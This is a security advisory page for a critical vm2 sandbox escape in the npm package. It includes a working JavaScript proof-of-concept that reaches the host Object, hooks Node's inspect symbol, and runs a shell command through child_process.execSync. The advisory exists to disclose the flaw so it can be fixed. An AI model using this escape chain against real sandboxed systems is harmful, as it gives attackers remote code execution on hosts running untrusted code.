GHSA-47x8-96vw-5wg6
Suggest an improvement- Source
- https://github.com/advisories/GHSA-47x8-96vw-5wg6
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-47x8-96vw-5wg6/GHSA-47x8-96vw-5wg6.json
- JSON Data
- https://api.test.osv.dev/v1/vulns/GHSA-47x8-96vw-5wg6
- Aliases
- Published
- 2026-05-07T04:00:19Z
- Modified
- 2026-05-14T20:45:09.053201322Z
- Severity
-
- 10.0 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H CVSS Calculator
- Summary
- vm2 Access to Host Object Enables Sandbox Escape
- Details
-
Summary
It is possible to obtain the host
Object, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.Details
There are various ways to use the host
Object, to escape the sandbox, one example would be usingHostObject.getOwnPropertySymbolsto obtainSymbol(nodejs.util.inspect.custom)PoC
const g = {}.__lookupGetter__; const a = Buffer.apply; const p = a.apply(g, [Buffer, ['__proto__']]); const o = p.call(p.call(a)); const HObject = o.constructor; sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0); const obj = { [sym]: (depth, opt, inspect) => { inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")(); }, valueOf: undefined, constructor: undefined, }; WebAssembly.compileStreaming(obj).catch(() => {});Impact
Sandbox Escape -> RCE
- Database specific
{ "severity": "CRITICAL", "github_reviewed_at": "2026-05-07T04:00:19Z", "github_reviewed": true, "cwe_ids": [ "CWE-94" ], "nvd_published_at": "2026-05-13T18:16:16Z" }- References
Affected packages
npm / vm2
Package
- Name
- vm2
- View open source insights on deps.dev
- Purl
- pkg:npm/vm2